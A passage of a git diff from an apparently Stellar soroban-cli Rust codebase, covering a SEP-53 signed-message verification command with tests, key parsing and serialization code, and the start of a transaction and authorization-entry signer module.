Clone)] -#[group(skip)] -pub struct Cmd { - /// The message to verify. If not provided, reads from stdin. This should **not** include - /// the SEP-53 prefix "Stellar Signed Message:\n", as it will be added automatically. - #[arg()] - pub message: Option, - - /// Treat the message as base64-encoded binary data - #[arg(long)] - pub base64: bool, - - /// The base64-encoded signature to verify - #[arg(long, short = 's')] - pub signature: String, - - /// The public key to verify the signature against. Can be an identity (--public-key alice), - /// a public key (--public-key GDKW...). - #[arg(long, short = 'p')] - pub public_key: String, - - /// If public key identity is a seed phrase use this hd path, default is 0 - #[arg(long)] - pub hd_path: Option, - - #[command(flatten)] - pub locator: locator::Args, -} - -impl Cmd { - pub fn run(&self, global_args: &global::Args) -> Result<(), Error> { - let print = Print::new(global_args.quiet); - - // Create the SEP-53 payload: prefix + message as utf-8 byte array - let message_bytes = self.get_message_bytes()?; - let mut payload = Vec::with_capacity(SEP53_PREFIX.len() + message_bytes.len()); - payload.extend_from_slice(SEP53_PREFIX.as_bytes()); - payload.extend_from_slice(&message_bytes); - - // Hash the payload with SHA-256 - let hash: [u8; 32] = Sha256::digest(&payload).into(); - - // Decode the signature - let signature_bytes = BASE64.decode(&self.signature)?; - if signature_bytes.len() != 64 { - return Err(Error::InvalidSignatureLength(signature_bytes.len())); - } - let signature = Signature::from_slice(&signature_bytes)?; - - // Get the verifying key - let public_key = self.get_public_key()?; - print.infoln(format!("Verifying signature against: {public_key}")); - let verifying_key = VerifyingKey::from_bytes(&public_key.0)?; - - // Verify the signature - if verifying_key.verify(&hash, &signature).is_ok() { - print.checkln("Signature valid"); - Ok(()) - } else { - print.errorln("Signature invalid"); - Err(Error::VerificationFailed) - } - } - - fn get_message_bytes(&self) -> Result, Error> { - let message_str = if let Some(msg) = &self.message { - msg.clone() - } else { - // Read from stdin - let mut buffer = String::new(); - io::stdin().read_to_string(&mut buffer)?; - // Remove trailing newline if present - if buffer.ends_with('\n') { - buffer.pop(); - if buffer.ends_with('\r') { - buffer.pop(); - } - } - buffer - }; - - if self.base64 { - // Decode base64 input - Ok(BASE64.decode(&message_str)?) - } else { - // Use UTF-8 encoded message - Ok(message_str.into_bytes()) - } - } - - fn get_public_key(&self) -> Result { - // try to parse as stellar public key first - if let Ok(pk) = stellar_strkey::ed25519::PublicKey::from_string(&self.public_key) { - return Ok(pk); - } - - // otherwise treat as identity and resolve - let account = self - .locator - .read_key(&self.public_key)? - .muxed_account(self.hd_path) - .map_err(crate::config::address::Error::from)?; - let bytes = match account { - soroban_sdk::xdr::MuxedAccount::Ed25519(uint256) => uint256.0, - soroban_sdk::xdr::MuxedAccount::MuxedEd25519(muxed_account) => muxed_account.ed25519.0, - }; - Ok(stellar_strkey::ed25519::PublicKey(bytes)) - } -} - -#[cfg(test)] -mod tests { - use super::*; - - // Public key = GBXFXNDLV4LSWA4VB7YIL5GBD7BVNR22SGBTDKMO2SBZZHDXSKZYCP7L - const TEST_PUBLIC_KEY: &str = "GBXFXNDLV4LSWA4VB7YIL5GBD7BVNR22SGBTDKMO2SBZZHDXSKZYCP7L"; - const FALSE_PUBLIC_KEY: &str = "GAREAZZQWHOCBJS236KIE3AWYBVFLSBK7E5UW3ICI3TCRWQKT5LNLCEZ"; - const FALSE_SIGNATURE: &str = - "+F//cUINZgTe4vZNXOEJTchDgEYlvy+iGFH3P65KeVhoyZgAsmGRRYAQLVqgY9J3PAlHPbSSeU5advhswmAfDg=="; - - fn setup_locator() -> locator::Args { - let temp_dir = tempfile::tempdir().unwrap(); - locator::Args { - config_dir: Some(temp_dir.path().to_path_buf()), - } - } - - fn global_args() -> global::Args { - global::Args { - quiet: true, - ..Default::default() - } - } - - #[test] - fn test_verify_simple() { - // SEP-53 - test case 1 - let message = "Hello, World!".to_string(); - let signature = "fO5dbYhXUhBMhe6kId/cuVq/AfEnHRHEvsP8vXh03M1uLpi5e46yO2Q8rEBzu3feXQewcQE5GArp88u6ePK6BA=="; - - let global = global_args(); - let locator = setup_locator(); - let cmd = super::Cmd { - message: Some(message), - base64: false, - signature: signature.to_string(), - public_key: TEST_PUBLIC_KEY.to_string(), - hd_path: None, - locator: locator.clone(), - }; - let successful = cmd.run(&global); - assert!(successful.is_ok()); - } - - #[test] - fn test_verify_japanese() { - // SEP-53 - test case 2 - let message = "こんにちは、世界!".to_string(); - let signature = "CDU265Xs8y3OWbB/56H9jPgUss5G9A0qFuTqH2zs2YDgTm+++dIfmAEceFqB7bhfN3am59lCtDXrCtwH2k1GBA=="; - - let global = global_args(); - let locator = setup_locator(); - let cmd = super::Cmd { - message: Some(message), - base64: false, - signature: signature.to_string(), - public_key: TEST_PUBLIC_KEY.to_string(), - hd_path: None, - locator: locator.clone(), - }; - let successful = cmd.run(&global); - assert!(successful.is_ok()); - } - - #[test] - fn test_verify_base64() { - // SEP-53 - test case 3 - let message = "2zZDP1sa1BVBfLP7TeeMk3sUbaxAkUhBhDiNdrksaFo=".to_string(); - let signature = "VA1+7hefNwv2NKScH6n+Sljj15kLAge+M2wE7fzFOf+L0MMbssA1mwfJZRyyrhBORQRle10X1Dxpx+UOI4EbDQ=="; - - let global = global_args(); - let locator = setup_locator(); - let cmd = super::Cmd { - message: Some(message), - base64: true, - signature: signature.to_string(), - public_key: TEST_PUBLIC_KEY.to_string(), - hd_path: None, - locator: locator.clone(), - }; - let successful = cmd.run(&global); - assert!(successful.is_ok()); - } - - #[test] - fn test_verify_bad_signature_errors() { - let message = "Hello, World!".to_string(); - - let global = global_args(); - let locator = setup_locator(); - let cmd = super::Cmd { - message: Some(message), - base64: false, - signature: FALSE_SIGNATURE.to_string(), - public_key: TEST_PUBLIC_KEY.to_string(), - hd_path: None, - locator: locator.clone(), - }; - let successful = cmd.run(&global); - assert!(successful.is_err()); - } - - #[test] - fn test_verify_bad_pubkey_errors() { - let message = "Hello, World!".to_string(); - let signature = "fO5dbYhXUhBMhe6kId/cuVq/AfEnHRHEvsP8vXh03M1uLpi5e46yO2Q8rEBzu3feXQewcQE5GArp88u6ePK6BA=="; - - let global = global_args(); - let locator = setup_locator(); - let cmd = super::Cmd { - message: Some(message), - base64: false, - signature: signature.to_string(), - public_key: FALSE_PUBLIC_KEY.to_string(), - hd_path: None, - locator: locator.clone(), - }; - let successful = cmd.run(&global); - assert!(successful.is_err()); - } -} +use std::io::{self, Read}; + +use crate::{ + commands::global, + config::{locator, secret}, + print::Print, +}; +use base64::{engine::general_purpose::STANDARD as BASE64, Engine}; +use clap::Parser; +use ed25519_dalek::{Signature, Verifier, VerifyingKey}; +use sha2::{Digest, Sha256}; + +use super::SEP53_PREFIX; + +#[derive(thiserror::Error, Debug)] +pub enum Error { + #[error(transparent)] + Locator(#[from] locator::Error), + + #[error(transparent)] + Secret(#[from] secret::Error), + + #[error(transparent)] + Io(#[from] io::Error), + + #[error(transparent)] + Base64(#[from] base64::DecodeError), + + #[error(transparent)] + StrKey(#[from] stellar_strkey::DecodeError), + + #[error(transparent)] + Ed25519(#[from] ed25519_dalek::SignatureError), + + #[error(transparent)] + Address(#[from] crate::config::address::Error), + + #[error("Signature verification failed")] + VerificationFailed, + + #[error("Invalid signature length: expected 64 bytes, got {0}")] + InvalidSignatureLength(usize), +} + +#[derive(Debug, Parser, Clone)] +#[group(skip)] +pub struct Cmd { + /// The message to verify. If not provided, reads from stdin. This should **not** include + /// the SEP-53 prefix "Stellar Signed Message:\n", as it will be added automatically. + #[arg()] + pub message: Option, + + /// Treat the message as base64-encoded binary data + #[arg(long)] + pub base64: bool, + + /// The base64-encoded signature to verify + #[arg(long, short = 's')] + pub signature: String, + + /// The public key to verify the signature against. Can be an identity (--public-key alice), + /// a public key (--public-key GDKW...). + #[arg(long, short = 'p')] + pub public_key: String, + + /// If public key identity is a seed phrase use this hd path, default is 0 + #[arg(long)] + pub hd_path: Option, + + #[command(flatten)] + pub locator: locator::Args, +} + +impl Cmd { + pub fn run(&self, global_args: &global::Args) -> Result<(), Error> { + let print = Print::new(global_args.quiet); + + // Create the SEP-53 payload: prefix + message as utf-8 byte array + let message_bytes = self.get_message_bytes()?; + let mut payload = Vec::with_capacity(SEP53_PREFIX.len() + message_bytes.len()); + payload.extend_from_slice(SEP53_PREFIX.as_bytes()); + payload.extend_from_slice(&message_bytes); + + // Hash the payload with SHA-256 + let hash: [u8; 32] = Sha256::digest(&payload).into(); + + // Decode the signature + let signature_bytes = BASE64.decode(&self.signature)?; + if signature_bytes.len() != 64 { + return Err(Error::InvalidSignatureLength(signature_bytes.len())); + } + let signature = Signature::from_slice(&signature_bytes)?; + + // Get the verifying key + let public_key = self.get_public_key()?; + print.infoln(format!("Verifying signature against: {public_key}")); + let verifying_key = VerifyingKey::from_bytes(&public_key.0)?; + + // Verify the signature + if verifying_key.verify(&hash, &signature).is_ok() { + print.checkln("Signature valid"); + Ok(()) + } else { + print.errorln("Signature invalid"); + Err(Error::VerificationFailed) + } + } + + fn get_message_bytes(&self) -> Result, Error> { + let message_str = if let Some(msg) = &self.message { + msg.clone() + } else { + // Read from stdin + let mut buffer = String::new(); + io::stdin().read_to_string(&mut buffer)?; + // Remove trailing newline if present + if buffer.ends_with('\n') { + buffer.pop(); + if buffer.ends_with('\r') { + buffer.pop(); + } + } + buffer + }; + + if self.base64 { + // Decode base64 input + Ok(BASE64.decode(&message_str)?) + } else { + // Use UTF-8 encoded message + Ok(message_str.into_bytes()) + } + } + + fn get_public_key(&self) -> Result { + // try to parse as stellar public key first + if let Ok(pk) = stellar_strkey::ed25519::PublicKey::from_string(&self.public_key) { + return Ok(pk); + } + + // otherwise treat as identity and resolve + let account = self + .locator + .read_key(&self.public_key)? + .muxed_account(self.hd_path) + .map_err(crate::config::address::Error::from)?; + let bytes = match account { + soroban_sdk::xdr::MuxedAccount::Ed25519(uint256) => uint256.0, + soroban_sdk::xdr::MuxedAccount::MuxedEd25519(muxed_account) => muxed_account.ed25519.0, + }; + Ok(stellar_strkey::ed25519::PublicKey(bytes)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + // Public key = GBXFXNDLV4LSWA4VB7YIL5GBD7BVNR22SGBTDKMO2SBZZHDXSKZYCP7L + const TEST_PUBLIC_KEY: &str = "GBXFXNDLV4LSWA4VB7YIL5GBD7BVNR22SGBTDKMO2SBZZHDXSKZYCP7L"; + const FALSE_PUBLIC_KEY: &str = "GAREAZZQWHOCBJS236KIE3AWYBVFLSBK7E5UW3ICI3TCRWQKT5LNLCEZ"; + const FALSE_SIGNATURE: &str = + "+F//cUINZgTe4vZNXOEJTchDgEYlvy+iGFH3P65KeVhoyZgAsmGRRYAQLVqgY9J3PAlHPbSSeU5advhswmAfDg=="; + + fn setup_locator() -> locator::Args { + let temp_dir = tempfile::tempdir().unwrap(); + locator::Args { + config_dir: Some(temp_dir.path().to_path_buf()), + } + } + + fn global_args() -> global::Args { + global::Args { + quiet: true, + ..Default::default() + } + } + + #[test] + fn test_verify_simple() { + // SEP-53 - test case 1 + let message = "Hello, World!".to_string(); + let signature = "fO5dbYhXUhBMhe6kId/cuVq/AfEnHRHEvsP8vXh03M1uLpi5e46yO2Q8rEBzu3feXQewcQE5GArp88u6ePK6BA=="; + + let global = global_args(); + let locator = setup_locator(); + let cmd = super::Cmd { + message: Some(message), + base64: false, + signature: signature.to_string(), + public_key: TEST_PUBLIC_KEY.to_string(), + hd_path: None, + locator: locator.clone(), + }; + let successful = cmd.run(&global); + assert!(successful.is_ok()); + } + + #[test] + fn test_verify_japanese() { + // SEP-53 - test case 2 + let message = "こんにちは、世界!".to_string(); + let signature = "CDU265Xs8y3OWbB/56H9jPgUss5G9A0qFuTqH2zs2YDgTm+++dIfmAEceFqB7bhfN3am59lCtDXrCtwH2k1GBA=="; + + let global = global_args(); + let locator = setup_locator(); + let cmd = super::Cmd { + message: Some(message), + base64: false, + signature: signature.to_string(), + public_key: TEST_PUBLIC_KEY.to_string(), + hd_path: None, + locator: locator.clone(), + }; + let successful = cmd.run(&global); + assert!(successful.is_ok()); + } + + #[test] + fn test_verify_base64() { + // SEP-53 - test case 3 + let message = "2zZDP1sa1BVBfLP7TeeMk3sUbaxAkUhBhDiNdrksaFo=".to_string(); + let signature = "VA1+7hefNwv2NKScH6n+Sljj15kLAge+M2wE7fzFOf+L0MMbssA1mwfJZRyyrhBORQRle10X1Dxpx+UOI4EbDQ=="; + + let global = global_args(); + let locator = setup_locator(); + let cmd = super::Cmd { + message: Some(message), + base64: true, + signature: signature.to_string(), + public_key: TEST_PUBLIC_KEY.to_string(), + hd_path: None, + locator: locator.clone(), + }; + let successful = cmd.run(&global); + assert!(successful.is_ok()); + } + + #[test] + fn test_verify_bad_signature_errors() { + let message = "Hello, World!".to_string(); + + let global = global_args(); + let locator = setup_locator(); + let cmd = super::Cmd { + message: Some(message), + base64: false, + signature: FALSE_SIGNATURE.to_string(), + public_key: TEST_PUBLIC_KEY.to_string(), + hd_path: None, + locator: locator.clone(), + }; + let successful = cmd.run(&global); + assert!(successful.is_err()); + } + + #[test] + fn test_verify_bad_pubkey_errors() { + let message = "Hello, World!".to_string(); + let signature = "fO5dbYhXUhBMhe6kId/cuVq/AfEnHRHEvsP8vXh03M1uLpi5e46yO2Q8rEBzu3feXQewcQE5GArp88u6ePK6BA=="; + + let global = global_args(); + let locator = setup_locator(); + let cmd = super::Cmd { + message: Some(message), + base64: false, + signature: signature.to_string(), + public_key: FALSE_PUBLIC_KEY.to_string(), + hd_path: None, + locator: locator.clone(), + }; + let successful = cmd.run(&global); + assert!(successful.is_err()); + } +} diff --git a/cmd/soroban-cli/src/config/key.rs b/cmd/soroban-cli/src/config/key.rs index 9d21ad0615..3ed2610406 100644 --- a/cmd/soroban-cli/src/config/key.rs +++ b/cmd/soroban-cli/src/config/key.rs @@ -1,183 +1,183 @@ -use std::{fmt::Display, str::FromStr}; - -use serde::{Deserialize, Serialize}; - -use super::secret::{self, Secret}; -use crate::xdr; - -#[derive(thiserror::Error, Debug)] -pub enum Error { - #[error("failed to extract secret from public key ")] - SecretPublicKey, - #[error(transparent)] - Secret(#[from] secret::Error), - #[error(transparent)] - StrKey(#[from] stellar_strkey::DecodeError), - #[error("failed to parse key")] - Parse, -} - -#[derive(Debug, Serialize, Deserialize, PartialEq, Eq)] -pub enum Key { - #[serde(rename = "public_key")] - PublicKey(Public), - #[serde(rename = "muxed_account")] - MuxedAccount(MuxedAccount), - #[serde(untagged)] - Secret(Secret), -} - -impl Key { - pub fn muxed_account(&self, hd_path: Option) -> Result { - let bytes = match self { - Key::Secret(secret) => secret.public_key(hd_path)?.0, - Key::PublicKey(Public(key)) => key.0, - Key::MuxedAccount(MuxedAccount(stellar_strkey::ed25519::MuxedAccount { - ed25519, - id, - })) => { - return Ok(xdr::MuxedAccount::MuxedEd25519(xdr::MuxedAccountMed25519 { - ed25519: xdr::Uint256(*ed25519), - id: *id, - })) - } - }; - Ok(xdr::MuxedAccount::Ed25519(xdr::Uint256(bytes))) - } - - pub fn private_key( - &self, - hd_path: Option, - ) -> Result { - match self { - Key::Secret(secret) => Ok(secret.private_key(hd_path)?), - _ => Err(Error::SecretPublicKey), - } - } -} - -impl FromStr for Key { - type Err = Error; - - fn from_str(s: &str) -> Result { - if let Ok(secret) = s.parse() { - return Ok(Key::Secret(secret)); - } - if let Ok(public_key) = s.parse() { - return Ok(Key::PublicKey(public_key)); - } - if let Ok(muxed_account) = s.parse() { - return Ok(Key::MuxedAccount(muxed_account)); - } - Err(Error::Parse) - } -} - -impl From for Key { - fn from(value: stellar_strkey::ed25519::PublicKey) -> Self { - Key::PublicKey(Public(value)) - } -} - -impl From<&stellar_strkey::ed25519::PublicKey> for Key { - fn from(stellar_strkey::ed25519::PublicKey(key): &stellar_strkey::ed25519::PublicKey) -> Self { - stellar_strkey::ed25519::PublicKey(*key).into() - } -} - -#[derive(Debug, PartialEq, Eq, serde_with::SerializeDisplay, serde_with::DeserializeFromStr)] -pub struct Public(pub stellar_strkey::ed25519::PublicKey); - -impl FromStr for Public { - type Err = stellar_strkey::DecodeError; - - fn from_str(s: &str) -> Result { - Ok(Public(stellar_strkey::ed25519::PublicKey::from_str(s)?)) - } -} - -impl Display for Public { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - write!(f, "{}", self.0) - } -} - -impl From<&Public> for stellar_strkey::ed25519::MuxedAccount { - fn from(Public(stellar_strkey::ed25519::PublicKey(key)): &Public) -> Self { - stellar_strkey::ed25519::MuxedAccount { - id: 0, - ed25519: *key, - } - } -} - -#[derive(Debug, PartialEq, Eq, serde_with::SerializeDisplay, serde_with::DeserializeFromStr)] -pub struct MuxedAccount(pub stellar_strkey::ed25519::MuxedAccount); - -impl FromStr for MuxedAccount { - type Err = stellar_strkey::DecodeError; - - fn from_str(s: &str) -> Result { - Ok(MuxedAccount( - stellar_strkey::ed25519::MuxedAccount::from_str(s)?, - )) - } -} - -impl Display for MuxedAccount { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - write!(f, "{}", self.0) - } -} - -impl TryFrom for Secret { - type Error = Error; - - fn try_from(key: Key) -> Result { - match key { - Key::Secret(secret) => Ok(secret), - _ => Err(Error::SecretPublicKey), - } - } -} - -#[cfg(test)] -mod test { - use super::*; - - fn round_trip(key: &Key) { - let serialized = toml::to_string(&key).unwrap(); - println!("{serialized}"); - let deserialized: Key = toml::from_str(&serialized).unwrap(); - assert_eq!(key, &deserialized); - } - - #[test] - fn public_key() { - let key = Key::PublicKey(Public(stellar_strkey::ed25519::PublicKey([0; 32]))); - round_trip(&key); - } - #[test] - fn muxed_key() { - let key: stellar_strkey::ed25519::MuxedAccount = - "MA3D5KRYM6CB7OWQ6TWYRR3Z4T7GNZLKERYNZGGA5SOAOPIFY6YQGAAAAAAAAAPCICBKU" - .parse() - .unwrap(); - let key = Key::MuxedAccount(MuxedAccount(key)); - round_trip(&key); - } - #[test] - fn secret_key() { - let secret_key = stellar_strkey::ed25519::PrivateKey([0; 32]).to_string(); - let secret = Secret::SecretKey { secret_key }; - let key = Key::Secret(secret); - round_trip(&key); - } - #[test] - fn secret_seed_phrase() { - let seed_phrase = "singer swing mango apple singer swing mango apple singer swing mango apple singer swing mango apple".to_string(); - let secret = Secret::SeedPhrase { seed_phrase }; - let key = Key::Secret(secret); - round_trip(&key); - } -} +use std::{fmt::Display, str::FromStr}; + +use serde::{Deserialize, Serialize}; + +use super::secret::{self, Secret}; +use crate::xdr; + +#[derive(thiserror::Error, Debug)] +pub enum Error { + #[error("failed to extract secret from public key ")] + SecretPublicKey, + #[error(transparent)] + Secret(#[from] secret::Error), + #[error(transparent)] + StrKey(#[from] stellar_strkey::DecodeError), + #[error("failed to parse key")] + Parse, +} + +#[derive(Debug, Serialize, Deserialize, PartialEq, Eq)] +pub enum Key { + #[serde(rename = "public_key")] + PublicKey(Public), + #[serde(rename = "muxed_account")] + MuxedAccount(MuxedAccount), + #[serde(untagged)] + Secret(Secret), +} + +impl Key { + pub fn muxed_account(&self, hd_path: Option) -> Result { + let bytes = match self { + Key::Secret(secret) => secret.public_key(hd_path)?.0, + Key::PublicKey(Public(key)) => key.0, + Key::MuxedAccount(MuxedAccount(stellar_strkey::ed25519::MuxedAccount { + ed25519, + id, + })) => { + return Ok(xdr::MuxedAccount::MuxedEd25519(xdr::MuxedAccountMed25519 { + ed25519: xdr::Uint256(*ed25519), + id: *id, + })) + } + }; + Ok(xdr::MuxedAccount::Ed25519(xdr::Uint256(bytes))) + } + + pub fn private_key( + &self, + hd_path: Option, + ) -> Result { + match self { + Key::Secret(secret) => Ok(secret.private_key(hd_path)?), + _ => Err(Error::SecretPublicKey), + } + } +} + +impl FromStr for Key { + type Err = Error; + + fn from_str(s: &str) -> Result { + if let Ok(secret) = s.parse() { + return Ok(Key::Secret(secret)); + } + if let Ok(public_key) = s.parse() { + return Ok(Key::PublicKey(public_key)); + } + if let Ok(muxed_account) = s.parse() { + return Ok(Key::MuxedAccount(muxed_account)); + } + Err(Error::Parse) + } +} + +impl From for Key { + fn from(value: stellar_strkey::ed25519::PublicKey) -> Self { + Key::PublicKey(Public(value)) + } +} + +impl From<&stellar_strkey::ed25519::PublicKey> for Key { + fn from(stellar_strkey::ed25519::PublicKey(key): &stellar_strkey::ed25519::PublicKey) -> Self { + stellar_strkey::ed25519::PublicKey(*key).into() + } +} + +#[derive(Debug, PartialEq, Eq, serde_with::SerializeDisplay, serde_with::DeserializeFromStr)] +pub struct Public(pub stellar_strkey::ed25519::PublicKey); + +impl FromStr for Public { + type Err = stellar_strkey::DecodeError; + + fn from_str(s: &str) -> Result { + Ok(Public(stellar_strkey::ed25519::PublicKey::from_str(s)?)) + } +} + +impl Display for Public { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}", self.0) + } +} + +impl From<&Public> for stellar_strkey::ed25519::MuxedAccount { + fn from(Public(stellar_strkey::ed25519::PublicKey(key)): &Public) -> Self { + stellar_strkey::ed25519::MuxedAccount { + id: 0, + ed25519: *key, + } + } +} + +#[derive(Debug, PartialEq, Eq, serde_with::SerializeDisplay, serde_with::DeserializeFromStr)] +pub struct MuxedAccount(pub stellar_strkey::ed25519::MuxedAccount); + +impl FromStr for MuxedAccount { + type Err = stellar_strkey::DecodeError; + + fn from_str(s: &str) -> Result { + Ok(MuxedAccount( + stellar_strkey::ed25519::MuxedAccount::from_str(s)?, + )) + } +} + +impl Display for MuxedAccount { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}", self.0) + } +} + +impl TryFrom for Secret { + type Error = Error; + + fn try_from(key: Key) -> Result { + match key { + Key::Secret(secret) => Ok(secret), + _ => Err(Error::SecretPublicKey), + } + } +} + +#[cfg(test)] +mod test { + use super::*; + + fn round_trip(key: &Key) { + let serialized = toml::to_string(&key).unwrap(); + println!("{serialized}"); + let deserialized: Key = toml::from_str(&serialized).unwrap(); + assert_eq!(key, &deserialized); + } + + #[test] + fn public_key() { + let key = Key::PublicKey(Public(stellar_strkey::ed25519::PublicKey([0; 32]))); + round_trip(&key); + } + #[test] + fn muxed_key() { + let key: stellar_strkey::ed25519::MuxedAccount = + "MA3D5KRYM6CB7OWQ6TWYRR3Z4T7GNZLKERYNZGGA5SOAOPIFY6YQGAAAAAAAAAPCICBKU" + .parse() + .unwrap(); + let key = Key::MuxedAccount(MuxedAccount(key)); + round_trip(&key); + } + #[test] + fn secret_key() { + let secret_key = stellar_strkey::ed25519::PrivateKey([0; 32]).to_string(); + let secret = Secret::SecretKey { secret_key }; + let key = Key::Secret(secret); + round_trip(&key); + } + #[test] + fn secret_seed_phrase() { + let seed_phrase = "singer swing mango apple singer swing mango apple singer swing mango apple singer swing mango apple".to_string(); + let secret = Secret::SeedPhrase { seed_phrase }; + let key = Key::Secret(secret); + round_trip(&key); + } +} diff --git a/cmd/soroban-cli/src/signer/mod.rs b/cmd/soroban-cli/src/signer/mod.rs index 4e1578b552..74d4a427b7 100644 --- a/cmd/soroban-cli/src/signer/mod.rs +++ b/cmd/soroban-cli/src/signer/mod.rs @@ -1,381 +1,474 @@ -use crate::{ - utils::fee_bump_transaction_hash, - xdr::{ - self, AccountId, DecoratedSignature, FeeBumpTransactionEnvelope, Hash, HashIdPreimage, - HashIdPreimageSorobanAuthorization, Limits, Operation, OperationBody, PublicKey, ScAddress, - ScMap, ScSymbol, ScVal, Signature, SignatureHint, SorobanAddressCredentials, - SorobanAuthorizationEntry, SorobanCredentials, Transaction, TransactionEnvelope, - TransactionV1Envelope, Uint256, VecM, WriteXdr, - }, -}; -use ed25519_dalek::{ed25519::signature::Signer as _, Signature as Ed25519Signature}; -use sha2::{Digest, Sha256}; - -use crate::{config::network::Network, print::Print, utils::transaction_hash}; - -pub mod ledger; - -#[cfg(feature = "additional-libs")] -mod keyring; -pub mod secure_store; - -#[derive(thiserror::Error, Debug)] -pub enum Error { - #[error("Contract addresses are not supported to sign auth entries {address}")] - ContractAddressAreNotSupported { address: String }, - #[error(transparent)] - Ed25519(#[from] ed25519_dalek::SignatureError), - #[error("Missing signing key for account {address}")] - MissingSignerForAddress { address: String }, - #[error(transparent)] - TryFromSlice(#[from] std::array::TryFromSliceError), - #[error("User cancelled signing, perhaps need to add -y")] - UserCancelledSigning, - #[error(transparent)] - Xdr(#[from] xdr::Error), - #[error("Transaction envelope type not supported")] - UnsupportedTransactionEnvelopeType, - #[error(transparent)] - Url(#[from] url::ParseError), - #[error(transparent)] - Open(#[from] std::io::Error), - #[error("Returning a signature from Lab is not yet supported; Transaction can be found and submitted in lab")] - ReturningSignatureFromLab, - #[error(transparent)] - SecureStore(#[from] secure_store::Error), - #[error(transparent)] - Ledger(#[from] ledger::Error), - #[error(transparent)] - Decode(#[from] stellar_strkey::DecodeError), -} - -/// Sign all SorobanAuthorizationEntry's in the transaction with the given signers. Returns a new -/// transaction with the signatures added to each SorobanAuthorizationEntry. -/// -/// If no SorobanAuthorizationEntry's need signing (including if none exist), return Ok(None). -/// -/// If a SorobanAuthorizationEntry needs signing, but a signature cannot be produced for it, -/// return an Error -pub fn sign_soroban_authorizations( - raw: &Transaction, - signers: &[Signer], - signature_expiration_ledger: u32, - network_passphrase: &str, -) -> Result, Error> { - // Check if we have exactly one operation and it's InvokeHostFunction - let [op @ Operation { - body: OperationBody::InvokeHostFunction(body), - .. - }] = raw.operations.as_slice() - else { - return Ok(None); - }; - - let network_id = Hash(Sha256::digest(network_passphrase.as_bytes()).into()); - - let mut auths_modified = false; - let mut signed_auths = Vec::with_capacity(body.auth.len()); - for raw_auth in body.auth.as_slice() { - let mut auth = raw_auth.clone(); - let SorobanAuthorizationEntry { - credentials: SorobanCredentials::Address(ref mut credentials), - .. - } = auth - else { - // Doesn't need special signing - signed_auths.push(auth); - continue; - }; - let SorobanAddressCredentials { ref address, .. } = credentials; - - // See if we have a signer for this authorizationEntry - // If not, then we Error - let needle: &[u8; 32] = match address { - ScAddress::MuxedAccount(_) => todo!("muxed accounts are not supported"), - ScAddress::ClaimableBalance(_) => todo!("claimable balance not supported"), - ScAddress::LiquidityPool(_) => todo!("liquidity pool not supported"), - ScAddress::Account(AccountId(PublicKey::PublicKeyTypeEd25519(Uint256(ref a)))) => a, - ScAddress::Contract(stellar_xdr::curr::ContractId(Hash(c))) => { - // This address is for a contract. This means we're using a custom - // smart-contract account. Currently the CLI doesn't support that yet. - return Err(Error::MissingSignerForAddress { - address: stellar_strkey::Strkey::Contract(stellar_strkey::Contract(*c)) - .to_string(), - }); - } - }; - - let mut signer: Option<&Signer> = None; - for s in signers { - if needle == &s.get_public_key()?.0 { - signer = Some(s); - } - } - - match signer { - Some(signer) => { - let signed_entry = sign_soroban_authorization_entry( - raw_auth, - signer, - signature_expiration_ledger, - &network_id, - )?; - signed_auths.push(signed_entry); - auths_modified = true; - } - None => { - return Err(Error::MissingSignerForAddress { - address: stellar_strkey::Strkey::PublicKeyEd25519( - stellar_strkey::ed25519::PublicKey(*needle), - ) - .to_string(), - }); - } - } - } - - // If we didn't modify any entries, return Ok(None) to indicate no changes needed to the transaction - if !auths_modified { - return Ok(None); - } - - // Build updated transaction with signed auth entries - let mut tx = raw.clone(); - let mut new_body = body.clone(); - new_body.auth = signed_auths.try_into()?; - tx.operations = vec![Operation { - source_account: op.source_account.clone(), - body: OperationBody::InvokeHostFunction(new_body), - }] - .try_into()?; - Ok(Some(tx)) -} - -fn sign_soroban_authorization_entry( - raw: &SorobanAuthorizationEntry, - signer: &Signer, - signature_expiration_ledger: u32, - network_id: &Hash, -) -> Result { - let mut auth = raw.clone(); - let SorobanAuthorizationEntry { - credentials: SorobanCredentials::Address(ref mut credentials), - .. - } = auth - else { - // Doesn't need special signing - return Ok(auth); - }; - let SorobanAddressCredentials { nonce, .. } = credentials; - - let preimage = HashIdPreimage::SorobanAuthorization(HashIdPreimageSorobanAuthorization { - network_id: network_id.clone(), - invocation: auth.root_invocation.clone(), - nonce: *nonce, - signature_expiration_ledger, - }) - .to_xdr(Limits::none())?; - - let payload = Sha256::digest(preimage); - let p: [u8; 32] = payload.as_slice().try_into()?; - let signature = signer.sign_payload(p)?; - let public_key_vec = signer.get_public_key()?.0.to_vec(); - - let map = ScMap::sorted_from(vec![ - ( - ScVal::Symbol(ScSymbol("public_key".try_into()?)), - ScVal::Bytes(public_key_vec.try_into().map_err(Error::Xdr)?), - ), - ( - ScVal::Symbol(ScSymbol("signature".try_into()?)), - ScVal::Bytes( - signature - .to_bytes() - .to_vec() - .try_into() - .map_err(Error::Xdr)?, - ), - ), - ]) - .map_err(Error::Xdr)?; - credentials.signature = ScVal::Vec(Some( - vec![ScVal::Map(Some(map))].try_into().map_err(Error::Xdr)?, - )); - credentials.signature_expiration_ledger = signature_expiration_ledger; - auth.credentials = SorobanCredentials::Address(credentials.clone()); - Ok(auth) -} - -pub struct Signer { - pub kind: SignerKind, - pub print: Print, -} - -#[allow(clippy::module_name_repetitions, clippy::large_enum_variant)] -pub enum SignerKind { - Local(LocalKey), - Ledger(ledger::LedgerType), - Lab, - SecureStore(SecureStoreEntry), -} - -// It is advised to use the sign_with module, which handles creating a Signer with the appropriate SignerKind -impl Signer { - pub async fn sign_tx( - &self, - tx: Transaction, - network: &Network, - ) -> Result { - let tx_env = TransactionEnvelope::Tx(TransactionV1Envelope { - tx, - signatures: VecM::default(), - }); - self.sign_tx_env(&tx_env, network).await - } - - pub async fn sign_tx_env( - &self, - tx_env: &TransactionEnvelope, - network: &Network, - ) -> Result { - match &tx_env { - TransactionEnvelope::Tx(TransactionV1Envelope { tx, signatures }) => { - let tx_hash = transaction_hash(tx, &network.network_passphrase)?; - self.print - .infoln(format!("Signing transaction: {}", hex::encode(tx_hash))); - let decorated_signature = self.sign_tx_hash(tx_hash, tx_env, 